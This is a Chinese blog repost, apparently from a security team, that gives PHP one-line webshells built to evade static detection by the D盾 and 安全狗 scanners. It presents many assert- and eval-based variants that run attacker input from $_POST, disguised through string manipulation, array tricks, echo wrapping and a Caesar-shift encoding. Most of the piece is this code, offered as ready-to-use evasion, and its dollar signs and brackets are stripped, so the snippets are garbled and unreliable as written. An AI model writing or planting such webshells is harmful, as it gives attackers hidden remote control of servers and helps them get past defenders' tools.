时间:2022-7-13来源:本站原创作者:佚名
早期白癜风可以治疗好 http://m.39.net/pf/a_7508091.html

DedSec团队(简称:Ded组):

秉持着“不忘初心,互相学习,互相帮助,共同进步”四大原则不断前行。研究内容广泛,涉及Web安全,渗透测试,红蓝对抗CTF......利用良好的学习氛围不断前行!

感谢来自Ded组团队成员李坦然师傅的投稿分享。这篇文章主要内容为PHP一句话静态免杀+项目分享,希望大家能够从中有所收获。DedSec安全团队诚邀各位共同学习,共同进步。

PHP7.1以下

采用assert函数:

1.Switch函数

#预备知识:switch匹配正确后向下执行遇到break才会停止,没遇到就一直执行下去。

?phpswitch(yes){caseno:break;caseyes:a="assert";default:a(_POST[key]);}?

2.数组免杀

?phpx=str_replace(v,,assvert);y=array(=x(_POST[key]));?

3.数组交集+echo免杀

?phpx=array(a=1,ss=2,vvv=dd,er=3);y=array(a=4,ss=5,er=6);#两个数组键名的交集,结果就是asserz=array_intersect_key(x,y);#取出键名a=array_keys(z);b=a[0].a[1].a[2].t;c=_POST[key];

b(`/**dd**/`.c);#拼接`/**dd**/`是为了逃逸变量函数:b(_POST[key])这种?

但是仍然会检测变量函数这个特征,

加echo进行绕过:修改位置在b处

?phpx=array(a=1,ss=2,vvv=dd,er=3);y=array(a=4,ss=5,er=6);#两个数组键名的交集,结果就是asserz=array_intersect_key(x,y);#取出键名a=array_keys(z);b=a[0].a[1].a[2].t;c=_POST[key];echo(b)(`/**dd**/`.c);?

4.substr函数降级

?phpx=assvvvert;(substr(x,0,3).substr(x,6))(_POST[key]);?

会检测出来,原因未知,

上echo,

?phpx=assvvvert;echo((substr(x,0,3).substr(x,6)))(_POST[key]);?

5.普通函数降级

?phpfunctionf(x,y){x(y);};f(_GET[k1],_POST[key]);?

函数变量,

上echo,

?phpfunctionf(x,y){echo(x)(y);};f(_GET[k1],_POST[key]);?

6.匿名函数降级

#预备知识:匿名函数是临时创建一个没有名字的函数。

?phpa=function(x,y){x(y);};a(_GET[k1],_POST[key]);?

上双份echo降级,

?phpa=function(x,y){echo(x)(y);};echo(a)(_GET[k1],_POST[key]);?

7.echo免杀

可以发现echo的用处很大,如下代码可直接绕过D盾

?phpd=assert;echo(d)(_POST[key]);?

PHP7.1及以上

此版本assert函数无法使用。

虽然可以使用eval,但是要注意的是eval是语言构造器而不是一个函数,不能被可变函数调用,也就是类似a="eval";a(_POST[key]);不能用。

eval远没有assert灵活,以至于7.1版本后的一句话免杀较为困难。

采用eval函数

1.可变变量降级+echo免杀

?phpa=aa;a=_POST[key];eval(aa);?

爆出aa是未知内容,和可疑eval

解决第一个问题,

?phpaa=hack#加了这段a=aa;a=_POST[key];eval(aa);?

解决第二个问题,上echo,

?phpaa=hack;a=aa;a=_POST[key];echoeval(aa);#修改这里?

2.遍历字符串免杀

?phpa=_PO;b="ST[key]";c=a.b;for(i=0;istrlen(c);i++){k.=c[i];}eval(k);?

虽然能免杀,但是执行不了,

查阅资料,

eval()构造器会将我们输入的字符串以PHP代码的方式运行,因为我们通过变量传入的是字符串,不是直接通过_POST[]传入的数据流,所以需要传入完整的PHP语句,即eval(eval()_POST[key]););

?phpa=eval(_PO;b=ST[key]);;c=a.b;for(i=0;istrlen(c);i++){k.=c[i];}

eval(k);?

3.附上一个dalao的成品

过D盾,过安全狗

对于D盾牌,eval()中的变量的值如果不是明显符合webshell特征的话,D盾是不报毒的,故可以使用加密的方式进行绕过,对一个字符串处理后,再通过变量的方式传递给eval()。

?php#使用的是凯撒加密的思想,通过左移一位a=u`k(_ONRS[w]);;for(i=0;istrlen(a);i++){if((ord(a[i])=96andord(a[i]))or(ord(a[i])64andord(a[i])91)){b.=chr(ord(a[i])+1);}else{b.=a[i];}}c=e;

eval(c.b);?我认为很好的项目:希望对师傅们有帮助!

1.红队向工具/资源分类合集

一个旨在通过应用场景/标签对Github红队向工具/资源进行分类收集,降低红队技术门槛的手册。

收集的工具项目种类齐全、都很优秀。


转载请注明原文网址:http://www.coolofsoul.com/cksc/cksc/24253.html

------分隔线----------------------------